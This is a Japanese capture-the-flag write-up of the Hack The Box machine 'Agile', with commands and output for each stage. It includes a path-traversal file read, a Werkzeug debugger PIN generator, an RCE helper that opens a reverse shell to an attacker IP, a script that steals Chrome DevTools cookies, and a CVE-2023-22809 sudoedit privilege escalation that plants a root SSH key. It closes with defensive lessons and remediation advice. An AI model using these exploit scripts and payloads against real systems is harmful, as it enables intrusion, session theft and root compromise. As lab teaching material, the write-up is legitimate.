Hack The BoxのWriteup(Agile)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Agile — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http → superpass.htb
Export機能の fn パラメータ
パストラバーサル LFI
Werkzeug PIN 生成
MAC + machine-id + cgroup
デバッグコンソール RCE
www-data シェル
MySQL 平文パスワード
corum → user.txt ✓
Chrome Remote Debugging
CDP Cookie窃取
edwards の平文パスワード
テスト用ヴォルト閲覧
CVE-2023-22809
sudoedit 任意ファイル書込
root.txt ✓

ポートスキャン

BASH
nmap -sV -sC -p- --min-rate 5000 -oN nmap/initial.txt 10.129.228.212
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f4:bc:ee:21:d7:1f:1a:a2:65:72:21:2d:5b:a6:f7:00 (ECDSA)
|_  256 65:c1:48:0d:88:cb:b9:75:a0:2c:a5:e6:37:7e:51:06 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 27.79 seconds
ℹ️
開いているポートは 22(SSH) と 80(HTTP) の2つのみ。80番はホスト名 superpass.htb へリダイレクトするため、/etc/hosts に追記して名前解決する。
BASH
echo "10.129.228.212 superpass.htb" | sudo tee -a /etc/hosts
curl -sI http://10.129.228.212
RESULT
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Location: http://superpass.htb

Webアプリの外観確認

BASH
curl -s http://superpass.htb/ | grep -i title
gobuster dir -u http://superpass.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
RESULT
<title>SuperPassword 🦸</title>
Flask 製のパスワードマネージャー。gobuster/feroxbuster では有用な隠しパスは
発見できず、すべて /account/login にリダイレクトされる。
ℹ️
隠しディレクトリ探索は空振り。ここから先はアプリのビジネスロジック(アカウント登録 → ヴォルト機能)を実際に触って脆弱性を探す方向に切り替える。
PHASE 2

アカウント登録 & エクスポート機能のパストラバーサル(LFI)発見

アカウント登録・ログイン・パスワード1件追加

BASH
# ブラウザで /account/register からアカウント作成 → /account/login でログイン
# ログイン後、ヴォルトに任意のパスワードエントリを1件追加する
curl -s -c cookies.txt -d "username=hacker&password=Passw0rd!" http://superpass.htb/account/register
curl -s -b cookies.txt -c cookies.txt -d "username=hacker&password=Passw0rd!" http://superpass.htb/account/login
ℹ️
登録・ログイン後、ヴォルト画面に「Export」ボタンがある。これを押すと GET /vault/export が呼ばれ、生成された CSV への 302 リダイレクトが返る。

エクスポートのリダイレクト先を観察

BASH
curl -sI -b cookies.txt http://superpass.htb/vault/export
RESULT
HTTP/1.1 302 FOUND
Location: /download?fn=hacker_export_13aadad0bc.csv
🚨
fn パラメータにはユーザー名 + _export_ + 10桁のランダム文字列(.csv) が 入っている。サーバー側の実装は os.path.join('/tmp/', fn) でパスを組み立てているだけで、 パストラバーサルのサニタイズが一切ない

パストラバーサルの検証 — /etc/passwd を読む

BASH
# まず fn=/etc/passwd を試すとエラーになる
curl -s -b cookies.txt "http://superpass.htb/download?fn=/etc/passwd"
RESULT
FileNotFoundError: [Errno 2] No such file or directory: '/tmp//etc/passwd'
// Werkzeug Debugger
ℹ️
エラーメッセージから、渡したパスが /tmp/ の直後に単純連結されていることが分かる。 つまり先頭に .. を付ければ /tmp/ から脱出できる。 この 500 エラー自体が Flask デバッグモードの Werkzeug デバッガページであることにも注目 (Phase 3 で悪用する)。
BASH
curl -s -b cookies.txt "http://superpass.htb/download?fn=../etc/passwd"
RESULT
root:x:0:0:root:/root:/bin/bash
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
mysql:x:109:112:MySQL Server,,,:/nonexistent:/bin/false
corum:x:1000:1000:corum:/home/corum:/bin/bash
runner:x:1001:1001::/app/app-testing/:/bin/sh
edwards:x:1002:1002::/home/edwards:/bin/bash
dev_admin:x:1003:1003::/home/dev_admin:/bin/bash
_laurel:x:999:999::/var/log/laurel:/bin/false
任意ファイル読み取り成功。 /etc/passwd から実ユーザー corum / edwards / dev_admin / runner の存在が判明した。
PHASE 3

Werkzeug デバッガ PIN の生成 → RCE (www-data)

Werkzeug PIN アルゴリズムに必要な材料をLFIで収集

NOTE
Werkzeug のデバッガ PIN は完全ランダムではなく、実行環境固有の準静的な値
(MACアドレス・machine-id・cgroup名・アプリのモジュールパス等)から
SHA1ベースで導出される「半安定」な値。サーバー上のこれらのファイルを
LFI で読めれば、攻撃者側でも同じアルゴリズムを再現してPINを計算できる。
BASH
# venv/gunicorn の起動コマンドラインを確認(モジュールパス特定のため)
curl -s -b cookies.txt "http://superpass.htb/download?fn=../proc/self/cmdline"
# MACアドレス
curl -s -b cookies.txt "http://superpass.htb/download?fn=../sys/class/net/eth0/address"
# machine-id
curl -s -b cookies.txt "http://superpass.htb/download?fn=../etc/machine-id"
# cgroup(末尾がsystemdユニット名)
curl -s -b cookies.txt "http://superpass.htb/download?fn=../proc/self/cgroup"
RESULT
cmdline  : /app/venv/bin/python3 /app/venv/bin/gunicorn --bind 127.0.0.1:5000 --threads=10 --timeout 600 wsgi:app
eth0 mac : a2:de:ad:10:a9:74
machine-id: ed5b159560f54721827644bc9b220d00
cgroup   : .../superpass.service  (末尾のユニット名を使用)
⚠️
値はHTBインスタンスごとに変わる。 上記は取得例であり、ライブ攻撃時は毎回 4つのLFIリクエストで実測すること。実測スクリプトは htb-agile/scripts/generate_pin.py を参照(本レポートの値を書き換えて使う)。

Werkzeugと同一アルゴリズムでPINを計算

PYTHON (generate_pin.py)
import hashlib
from itertools import chain

MAC = "a2:de:ad:10:a9:74"
MACHINE_ID = "ed5b159560f54721827644bc9b220d00"
CGROUP_TAIL = "superpass.service"

probably_public_bits = [
    "www-data", "flask.app", "wsgi_app",
    "/app/venv/lib/python3.10/site-packages/flask/app.py",
]
node = str(int(MAC.replace(":", ""), 16))
machine_id = (MACHINE_ID + CGROUP_TAIL).encode()
private_bits = [node, machine_id]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"

h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
pin = "-".join(num[x:x+3] for x in range(0, 9, 3))
print("PIN:", pin)
print("COOKIE:", cookie_name)
RESULT
$ ./generate_pin.py
PIN: 135-148-084
COOKIE: __wzd663740a50e34b3fe93a8
ℹ️
probably_public_bits はほぼ固定値(Flaskの実装由来)。ユーザー名は www-data、 アプリファイルパスは venv 構成から逆算できる。ここが違うとPINが一致しないので、 Phase 3-1 のcmdline出力から正確な venv パスを確認すること。

デバッグコンソールへPIN認証 → RCE

NOTE
500エラーページ(Werkzeugデバッガ)を開くと、ページ内のJSに
SECRET(推測防止トークン)とフレームID(frm)が埋め込まれている。
これをスクレイピングし、以下の順でPIN認証→コード実行を行う。

  1. GET  /download?fn=../etc/passwd    → デバッガページ本体を取得、SECRET/frm を抽出
  2. GET  /?__debugger__=yes&cmd=pinauth&pin=&s=  → PIN認証(Cookieに認証済み状態が保存される)
  3. GET  /download?fn=...&__debugger__=yes&cmd=&frm=&s=
     → 任意Pythonコードが評価され、結果がHTMLとして返る
BASH (rce.sh)
#!/bin/bash
# Werkzeug debugger RCE helper
COOKIES=cookies.txt
FRAME=140161904992080     # デバッガページから都度取得
SECRET=MOiiuh2MyI0u74EGUYGP # デバッガページから都度取得
CMD="$1"
curl -s -b "$COOKIES" -c "$COOKIES" \
  --data-urlencode "cmd=$CMD" \
  --data "frm=$FRAME&s=$SECRET" \
  "http://superpass.htb/download?fn=etc/passwd&__debugger__=yes" \
  -X GET -G | sed -e 's/<[^>]*>//g'

# 使用例: リバースシェル用のPythonワンライナーを実行
./rce.sh "__import__('os').system('python3 -c \"import socket,subprocess,os;
  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
  s.connect((\\\"10.10.15.201\\\",4444));
  os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
  subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])\"')"
RESULT (nc リスナー側)
$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.15.201] from (UNKNOWN) [10.129.228.212] xxxxx
$ whoami
www-data
RCE成功。 www-data としてリバースシェルを取得した。
PHASE 4

MySQL平文パスワード奪取 → corum → user.txt

アプリ設定ファイルからDB接続文字列を取得

BASH
# www-data シェル内、もしくはLFI経由で設定ファイルを読む
www-data@agile:/app$ cat config.json
RESULT
{ "SQL_URI": "mysql+pymysql://superpassuser:REDACTED@localhost/superpass" }

DBに接続し users / passwords テーブルをダンプ

BASH
www-data@agile:/app$ mysql -u superpassuser -p'' -h 127.0.0.1 superpass \
  -e "SELECT * FROM users; SELECT * FROM passwords;"
RESULT
users:
+----+----------+------------------------------+
| id | username | hashed_password              |
+----+----------+------------------------------+
|  1 | 0xdf     | $6$rounds=200000$...          |
|  2 | corum    | $6$rounds=200000$... (crackできない)   |
+----+----------+------------------------------+

passwords: ← 平文でパスワードを保存している設計不備
+----+---------------+----------+----------------------+---------+
| id | url           | username | password             | user_id |
+----+---------------+----------+----------------------+---------+
|  6 | mgoblog       | corum    | ...                  |       2 |
|  7 | ticketmaster  | corum    | ...                  |       2 |
|  8 | agile         | corum    | <corumの平文パスワード> |       2 |
+----+---------------+----------+----------------------+---------+
🚨
users テーブルのハッシュ(SHA-512crypt)は hashcat でも解読困難だが、 passwords テーブルに登録されている各サイト用パスワードは平文保存 されている。corum は自分のOSログインパスワードもヴォルトに登録していたため、 そのままSSHログインに使い回せる。

corum としてSSHログイン → user.txt

BASH
ssh corum@10.129.228.212
corum@agile:~$ cat user.txt
RESULT
065fc427370f995bd8e7d088ecbc43b6
user.txt — corum@agile
065fc427370f995bd8e7d088ecbc43b6
ℹ️
フラグ値はHTBインスタンス再スポーン毎に変わる。上記は本ワークスペースで 2026-06-16 の攻略時に実測した値。
PHASE 5

Chrome Remote Debugging 経由の Cookie 窃取 → edwards

corumとしてSUID/プロセス調査

BASH
corum@agile:~$ sudo -l
corum@agile:~$ find / -perm /u=s 2>/dev/null
corum@agile:~$ ps aux | grep -i chrome
RESULT
Sorry, user corum may not run sudo on agile.
...
/opt/google/chrome/chrome-sandbox  (SUIDだが直接の悪用経路なし)
...
runner  1177  /opt/google/chrome/chrome --type=renderer --headless
  --enable-automation --remote-debugging-port=41829 ...
🚨
runner ユーザーがヘッドレスChromeをリモートデバッグポート開放状態 で常時実行している(おそらく CI/CD のE2Eテスト用)。このポートは 127.0.0.1 限定 だが、SSHローカルポートフォワードで自分のKaliまで届かせられる。

SSHトンネル経由でCDP Cookieを窃取

BASH
# デバッグポートをローカル9222へフォワード
ssh -L 9222:localhost:41829 corum@10.129.228.212
# 別ターミナルで開いているページ一覧とWebSocket URLを取得
curl -s http://localhost:9222/json | python3 -m json.tool
PYTHON (cookie_crimes.py)
#!/usr/bin/env python3
import json, sys, websocket

WS = sys.argv[1]  # ws://localhost:9222/devtools/page/
ws = websocket.create_connection(WS)
ws.send(json.dumps({"id": 1, "method": "Network.getAllCookies"}))
print(ws.recv())
ws.close()
RESULT
$ python3 cookie_crimes.py ws://localhost:9222/devtools/page/4D9960...
[{"domain": "test.superpass.htb", "name": "remember_token", "value": "1|REDACTED", "httpOnly": true, ...},
 {"domain": "test.superpass.htb", "name": "session", "value": "REDACTED", "httpOnly": true, ...}]
edwards がログイン中のテスト環境セッションCookieを窃取。 /etc/nginx/sites-enabled/superpass-test.nginx を読むと、 test.superpass.htb127.0.0.1:5555 にプロキシされていることが分かる。

盗んだCookieでテストヴォルトを閲覧 → edwards のパスワード取得

BASH
# port 5555 も同様にSSHローカルフォワード
ssh -L 5555:127.0.0.1:5555 corum@10.129.228.212
# ブラウザで http://localhost:5555 を開き、開発者ツールで
# 盗んだ session / remember_token Cookie を注入してリロード
# → edwards としてログイン済み状態のヴォルトが閲覧できる → 平文パスワードを取得
BASH
ssh edwards@10.129.228.212
RESULT
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)
edwards@agile:~$ whoami
edwards
ℹ️
edwards のホームディレクトリにも user.txt が存在するが、corum のものと同一(同じチェーンの 中間地点)。本フェーズの本来の価値は user.txt ではなく、Phase 6 の sudoedit 権限にある。
PHASE 6

CVE-2023-22809 (sudoedit 任意ファイル書込) → root.txt

sudo権限の確認

BASH
edwards@agile:~$ sudo -l
RESULT
User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
⚠️
sudoeditsudo -e)は本来、指定された特定ファイルしか編集させない はずだが、CVE-2023-22809(脆弱なバージョンのsudo)では EDITOR/SUDO_EDITOR 環境変数に -- を紛れ込ませることで、 許可されていない任意のファイルをroot権限のエディタで開かせることができる。

EDITOR環境変数を悪用して任意ファイルを開く

BASH
# "--" の後に別のファイルパスを追加することで、sudoが許可チェックした
# ファイルとは別のファイル(/app/venv/bin/activate)を実際には開かせる
edwards@agile:~$ EDITOR='nano -- /app/venv/bin/activate' sudoedit -u dev_admin /app/config_test.json
ℹ️
/app/venv/bin/activate は Python venv 有効化スクリプト。root 所有のcronジョブが 1分毎にこのファイルを source しているため(後述)、書き込めれば任意コードを root権限で実行できる。

書込確認(マーカーファイルでroot実行を検証)

NOTE
# activate ファイルの先頭に以下の1行を追加して保存
touch /tmp/pwn

# 1分ほど待ってから確認する
BASH
edwards@agile:~$ ls -l /tmp/pwn
RESULT
-rw-r--r-- 1 root root 0 Apr 16 16:22 /tmp/pwn
root権限での任意コード実行を確認。 ファイルの所有者が root であることから、 activate は root のcronジョブから source されていることが裏付けられた (後に crontab -l* * * * * source /app/venv/bin/activate を確認)。

SSH公開鍵をroot の authorized_keys に仕込む → root.txt

BASH
# Kali側で鍵ペアを作成
ssh-keygen -t ed25519 -f agile_root -N ""
# edwardsのホームに公開鍵を配置
edwards@agile:~$ mkdir -p ~/.ssh && echo "<公開鍵>" >> ~/.ssh/authorized_keys

# 再度 EDITOR トリックで activate に追記
edwards@agile:~$ EDITOR='nano -- /app/venv/bin/activate' sudoedit -u dev_admin /app/config_test.json
# --- activate 先頭に以下を追加 ---
mkdir -p /root/.ssh
chmod 700 /root/.ssh
cp /home/edwards/.ssh/authorized_keys /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# ----------------------------------

# 1分待ってcronの発火を待つ
sleep 65
ssh -i agile_root root@10.129.228.212
RESULT
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)
root@agile:~# whoami
root
root@agile:~# cat /root/root.txt
root.txt — root@agile
(ライブ取得値 — インスタンス毎に異なる。取得手順は上記の通り)
フルroot権限を取得。 cron の crontab -l を確認すると、 * * * * * source /app/venv/bin/activate が root で実行されていることが最終確認できる。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — corum@agile
065fc427370f995bd8e7d088ecbc43b6
root.txt — root@agile
ライブ取得(Phase 6 参照)

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
パストラバーサル LFI /download?fn= (ヴォルトエクスポート機能) 任意ファイル読み取り Critical fn パラメータが未サニタイズで /tmp/ と連結される仕様を悪用し ../etc/passwd 等を読み取り
Werkzeug デバッグモード Flaskアプリ本体 リモートコード実行 (www-data) High LFIで収集したMAC/machine-id/cgroupから半安定PINを再現計算し、デバッグコンソールでRCE
平文パスワード保存 MySQL passwords テーブル 資格情報の完全露出 Medium DB接続後 SELECT * FROM passwords で全ユーザーのサイト別パスワードを平文取得
Chrome Remote Debugging 開放 headless Chrome (runner ユーザー, CI用) 他ユーザーのセッションCookie窃取 High CDP Network.getAllCookies をSSHトンネル越しに呼び出し、テスト環境のセッションを乗っ取り
CVE-2023-22809 sudoedit (脆弱なバージョンのsudo) 権限昇格 (root) Critical EDITOR 環境変数に -- を混入させ、許可外ファイル (/app/venv/bin/activate) をroot権限で書き換え。root cronがそれをsourceする隙を突く

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap(22/80のみ)+ vhostリダイレクト確認superpass.htb, Flaskパスワードマネージャー
2Web調査アカウント登録 → エクスポート機能の fn パラメータ調査パストラバーサルLFI、ユーザー一覧 (corum/edwards/dev_admin/runner)
3PIN計算 & RCEMAC/machine-id/cgroupからWerkzeug PIN再現 → デバッグコンソールwww-data のリバースシェル
4DB調査アプリ設定からMySQL資格情報取得 → 平文パスワードダンプuser.txt (corum SSHログイン)
5横展開Chrome CDP Cookie窃取(SSHトンネル + WebSocket)edwards の平文パスワード → SSHログイン
6権限昇格CVE-2023-22809 (sudoedit EDITOR注入) + root cronroot.txt 取得(rootのSSH鍵配置)

学んだ教訓 & 防御策

問題点防御策
エクスポート機能のファイル名パラメータに対する未サニタイズなパス連結 os.path.realpath() で正規化した上で許可ディレクトリ配下かを検証する。 可能ならリダイレクト方式ではなくサーバー内で直接ファイルを生成しストリーミング返却する。
本番相当環境でFlaskのデバッグモード(debug=True)を有効化したまま運用 本番運用では debug=False を徹底し、Werkzeugデバッガを外部に露出させない。 エラーはログにのみ出力し、詳細スタックトレースをレスポンスへ含めない。
パスワードマネージャーがパスワードを平文でDB保存 可逆暗号化(AES-GCM等)で保存し、マスターキーはアプリサーバーとは別管理にする。 平文でのSELECT結果がそのまま漏洩に直結しない設計にする。
CI/CD用ヘッドレスChromeがリモートデバッグポートを開放したまま常駐 デバッグポートは --remote-debugging-address=127.0.0.1 に加え、 使用後は必ずプロセスを終了する。CI専用ユーザーの権限を必要最小限に絞る。
脆弱なバージョンの sudo(CVE-2023-22809 未パッチ)を使用 sudoパッケージを最新に保つ。sudoers の sudoedit 許可は本当に必要なファイルのみに限定し、 root権限で自動実行されるスクリプト(cron等)を一般ユーザーが編集可能な場所に置かない。
HackTheBox: Agile | 完全攻略レポート |